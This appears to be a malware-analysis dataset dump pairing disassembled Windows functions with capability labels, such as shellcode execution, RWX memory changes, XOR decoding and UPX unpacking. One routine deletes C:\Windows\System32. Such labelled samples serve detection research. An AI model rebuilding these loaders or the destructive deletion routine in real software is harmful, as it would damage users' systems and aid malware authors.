joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10063940
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10063ab0
push ebx
mov ebx, dword [eax + 2]
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x10063aaf
lea eax, [ebx - 4]
test eax, eax
je 0x10063aaf
mov ecx, dword [ebx]
test ecx, ecx
je 0x10063aaf
cmp ecx, 0xc8
jg 0x10063aaf
cmp dword [eax], 0
je 0x10063aaf
push esi
mov esi, dword [eax + 8]
test esi, esi
je 0x10063aae
push edi
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [esi + ecx], 0
jne 0x100639a8
xor edx, edx
test ecx, ecx
je 0x100639c6
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100639b5
mov dword [ebp - 8], edi
cmp dword [ebx], 0
mov dword [ebp - 0x18], 0
jle 0x10063aad
xor esi, esi
mov eax, ebx
mov dword [ebp - 0x14], esi
mov ebx, dword [eax - 4]
add ebx, esi
mov esi, dword [ebx + 4]
test esi, esi
je 0x10063a95
mov edi, 0x811c9dc5
xor eax, eax
inc eax
cmp byte [esi + eax], 0
jne 0x100639f7
xor edx, edx
test eax, eax
je 0x10063a15
movsx ecx, byte [esi + edx]
inc edx
xor ecx, edi
imul edi, ecx, 0x1000193
cmp edx, eax
jb 0x10063a04
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
mov ecx, 0x1044f420
call fcn.10053bd0
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.10053bb0
cmp dword [eax + 8], 0
jne 0x10063a92
lea eax, [ebp - 8]
mov ecx, 0x1044f420
push eax
call fcn.10053bd0
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.10053bb0
mov ecx, 0x1044f420
mov byte [eax], 1
lea eax, [ebp - 8]
mov esi, dword [ebx + 8]
push eax
call fcn.10053bd0
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.10053bb0
mov ecx, 0x1044f420
mov dword [eax + 8], esi
lea eax, [ebp - 8]
push eax
call fcn.10053bd0
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.10053bb0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
inc ebx
add esi, 0x3c
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
cmp ebx, dword [eax]
jl 0x100639e0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret 4
Function at 0x1009bed0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cf9fd
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
vpxor xmm0, xmm0, xmm0
xor edx, edx
mov dword [ebp - 0x2c], 0
mov edi, 0xf
mov dword [ebp - 0x18], edx
vmovdqu xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov esi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], eax
cmp esi, eax
je 0x1009bfdc
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x1009bf53
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x1009bf41
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.10037440
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x1009bf6d
cmp edi, 0xf
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov byte [eax + ecx], 0
jmp 0x1009bf7a
sub ecx, edx
push 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.10046f60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edi, 0x811c9dc5
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
test edx, edx
je 0x1009bfb4
mov esi, dword [ebp - 0x34]
nop dword [eax]
movzx ecx, byte [eax + esi]
inc eax
xor ecx, edi
imul edi, ecx, 0x1000193
cmp eax, edx
jb 0x1009bfa0
mov esi, dword [ebp - 0x30]
cmp edi, dword [ebp + 8]
jne 0x1009bfc4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x1009bfd7
dec eax
mov dword [ebp - 0x2c], eax
add esi, 0x1c
mov dword [ebp - 0x30], esi
cmp esi, dword [ebp - 0x38]
je 0x1009bfdc
mov edi, dword [ebp - 0x14]
jmp 0x1009bf30
mov esi, dword [esi + 0x18]
jmp 0x1009bfde
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x1009c016
mov edx, dword [ebp - 0x28]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1009c00c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1009c00c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100cc559
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1009c040
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cf9fd
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
vpxor xmm0, xmm0, xmm0
xor edx, edx
mov dword [ebp - 0x2c], 1
mov edi, 0xf
mov dword [ebp - 0x18], edx
vmovdqu xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov esi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], eax
cmp esi, eax
je 0x1009c14c
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x1009c0c3
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x1009c0b1
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.10037440
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x1009c0dd
cmp edi, 0xf
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov byte [eax + ecx], 0
jmp 0x1009c0ea
sub ecx, edx
push 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.10046f60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edi, 0x811c9dc5
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
test edx, edx
je 0x1009c124
mov esi, dword [ebp - 0x34]
nop dword [eax]
movzx ecx, byte [eax + esi]
inc eax
xor ecx, edi
imul edi, ecx, 0x1000193
cmp eax, edx
jb 0x1009c110
mov esi, dword [ebp - 0x30]
cmp edi, dword [ebp + 8]
jne 0x1009c134
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x1009c147
dec eax
mov dword [ebp - 0x2c], eax
add esi, 0x1c
mov dword [ebp - 0x30], esi
cmp esi, dword [ebp - 0x38]
je 0x1009c14c
mov edi, dword [ebp - 0x14]
jmp 0x1009c0a0
mov esi, dword [esi + 0x18]
jmp 0x1009c14e
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x1009c186
mov edx, dword [ebp - 0x28]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1009c17c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1009c17c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100cc559
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1009db20
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x214]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x105
lea eax, [ebp - 0x10c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [ebp - 0x220], 0
cmp dword [ebp + 0xc], 1
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0
jne 0x1009dbea
push 0x105
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
push 0x105
lea eax, [ebp - 0x214]
push eax
push 0x100e4c38
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1009dbea
push 0
push 0
push 0
push 0x10043bd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1009dbea
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100b3860
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x100b39f1
mov eax, dword [ebx]
mov ecx, ebx
mov eax, dword [eax + 0x280]
call eax
test al, al
je 0x100b39f1
mov eax, dword [0x1044b568]
cmp dword [eax + 0x174], 0xffffffff
je 0x100b39f1
mov eax, dword [0x1044f58c]
add eax, 0xffffff8f
xor eax, 0xbd404479
cmp dword [eax + ebx], 0
mov eax, dword [0x1044f554]
setle cl
add eax, 0xffffff9d
xor eax, 0xbd40446b
xor edi, edi
mov byte [eax + ebx], cl
mov eax, dword [0x1044f548]
add eax, 0xffffffa0
xor eax, 0xbd404468
mov dword [eax + ebx + 0xc], 0
mov eax, dword [0x1044f54c]
add eax, 0xffffff9f
xor eax, 0xbd404469
mov dword [eax + ebx + 0xc], 0
mov ecx, dword [0x1044f550]
lea eax, [ecx - 0x62]
xor eax, 0xbd40446a
mov edx, dword [eax + ebx + 0xc]
mov dword [ebp - 4], edx
test edx, edx
je 0x100b394e
lea eax, [ecx - 0x62]
xor eax, 0xbd40446a
mov eax, dword [eax + ebx]
mov esi, dword [eax + edi*4]
lea ebx, [eax + edi*4]
test esi, esi
je 0x100b3946
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x100b393a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x100b3937
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov edx, dword [ebp - 4]
mov dword [ebx], 0
mov ecx, dword [0x1044f550]
mov ebx, dword [ebp + 8]
inc edi
cmp edi, edx
jb 0x100b3903
lea eax, [ecx - 0x62]
xor eax, 0xbd40446a
lea ecx, [ebx + 8]
push 0
mov dword [eax + ebx + 0xc], 0
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x1c]
call eax
mov eax, dword [ebx + 8]
lea ecx, [ebx + 8]
push 0
mov eax, dword [eax + 0x14]
call eax
mov ecx, dword [0x1044b57c]
xor ebx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x100b39e2
nop dword [eax]
mov eax, dword [ecx + 0x1c]
mov ecx, dword [eax + ebx*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [esi + ecx], 0
jne 0x100b39a6
xor edx, edx
test ecx, ecx
je 0x100b39cc
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100b39b3
cmp edi, 0x79705c5e
je 0x100b39d7
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x100b39e2
mov ecx, dword [ebp - 4]
jmp 0x100b3990
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + ebx*4]
jmp 0x100b39e4
xor ecx, ecx
push 0
push dword [ebp + 8]
push 0
call dword [0x1044b6d4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100b8ea0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d6bcd
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1044b568]
mov edx, dword [eax + 0x174]
test edx, edx
mov esi, dword [eax + 0x4cb0]
mov edi, dword [eax + 0x4cb4]
setg byte [ebp - 0x14]
add esi, dword [eax + 0x4cac]
test edx, edx
jle 0x100b8f04
mov ecx, dword [0x1044b50c]
push esi
push edi
push dword [ebp - 0x14]
mov eax, dword [ecx]
push edx
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x1044f740], 0
jne 0x100b8fd9
push 0x22
vpxor xmm0, xmm0, xmm0
push str.B8_________3B_F0_0F_4F_F0_89_5D_FC
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x20], 0
vmovdqu xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
call fcn.100351b0
mov dword [ebp - 4], 0
mov eax, dword [0x1044b4bc]
test eax, eax
je 0x100b8f4c
mov edx, dword [eax + 0x50]
jmp 0x100b8f4e
xor edx, edx
mov eax, dword [0x1044b4b4]
test eax, eax
je 0x100b8f5c
mov eax, dword [eax + 0x18]
jmp 0x100b8f5e
xor eax, eax
lea ecx, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1002e3e0
mov edi, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [ebp - 0x1c]
inc edi
cmp ecx, 0xf
jbe 0x100b8fa8
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100b8f9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100b8f9e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100cc559
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x1044f740], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100cc0d9
mov esp, ebp
pop ebp
ret
Function at 0x100cbb3e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x100cbb65
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x100cbb68
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.100cbb1a
pop esi
leave
ret 8
Function at 0x10018650
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10018814
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
or ebp, 0xffffffff
jmp 0x1001867a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10018681
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10018670
mov eax, 1
add ebx, ebx
jne 0x10018693
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10018688
jne 0x100186a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10018688
xor ecx, ecx
sub eax, 3
jb 0x100186b8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001872a
mov ebp, eax
add ebx, ebx
jne 0x100186c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x100186d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x100186f4
inc ecx
add ebx, ebx
jne 0x100186e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100186d5
jne 0x100186f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100186d5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10018714
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10018705
jmp 0x10018676
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10018714
add edi, ecx
jmp 0x10018676
pop esi
mov edi, esi
mov ecx, 0x4ce
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10018732
cmp byte [edi], 7
jne 0x10018732
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10018737
lea edi, [esi + 0x16000]
mov eax, dword [edi]
or eax, eax
je 0x100187a6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10018764
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1802c]
or eax, eax
je 0x100187a0
mov dword [ebx], eax
add ebx, 4
jmp 0x10018781
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x100187d7
cmp al, 0xef
ja 0x100187ca
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x100187ac
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x100187b9
mov ebp, dword [esi + 0x18030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1001880b
sub esp, 0xffffff80
jmp 0x10001eef
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000cd63
pop dword [ebp - 0x18]
mov eax, 0x3e732f4c
add eax, 0xd18d9e17
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x36127
push 0
mov eax, 0xff85d002
sub eax, 0xef848f9e
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x53f8619e
sub ecx, 0x53f8255e
mov edx, eax
mov esi, 0x10018600
add esi, dword [ebp - 0x18]
mov ebx, 0x16465d26
sub dword [ebp - 8], edx
mov edi, dword [esi]
sub dword [ebp - 0x10], eax
sub edi, ebx
xor dword [ebp - 0x14], ecx
mov dword [edx], edi
mov dword [ebp - 0xc], 0x6d3d313a
add edx, 4
add esi, 4
loop 0x1000cdb6
add eax, 0xe3d3
xor ebx, ebx
add ebx, eax
add eax, 0x9aeffa02
add eax, 0x65100603
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0xfdfd40
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfdfd4a
pushal
call 0xfdfd50
pop ebp
sub ebp, 0x10
sub ebp, 0xbdfd40
jmp 0xfdfd66
mov eax, 0xbdfd40
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e7
mov edx, 0x34977fd2
xor byte [eax], dl
inc eax
dec ecx
jne 0xfdfd7d
jmp 0xfdfd90
pop ecx
pop ds
pop ecx
pop ebx
out dx, al
rcl dl, cl
rcl byte [ebx + 0x13], cl
sub dl, dl
rcl dl, cl
rcr dword [edi], 1
push 0xffffffffffffffd6
rcl dl, cl
shr byte [eax - 6], cl
rcl dl, cl
shl byte [0x591ad130], cl
push ebx
invalid
Function at 0x4014ab
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x144
mov dword [esp + 0xc], str.C:Windows
mov dword [esp + 8], str._sSystem32.
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x12e]
mov ecx, 0x1e
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
and ecx, 0xfffffffc
mov eax, 0
mov dword [edx + eax], ebx
add eax, 4
cmp eax, ecx
jb 0x401506
add edx, eax
mov dword [ebp - 0x12a], 3
lea eax, [ebp - 0x110]
mov dword [ebp - 0x126], eax
mov word [ebp - 0x11e], 0x414
lea eax, [ebp - 0x12e]
mov dword [esp], eax
call sym._SHFileOperationA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401559
mov dword [esp], str.Folder_deleted_successfully
call sym._puts
jmp 0x40156c
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401bc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401c0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401c04
test esi, esi
je 0x401c04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401be0
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401df0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401e40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401f18
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401e7e
cmp eax, 4
jne 0x401ea0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401e8e
cmp edx, 4
je 0x401e8e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401df0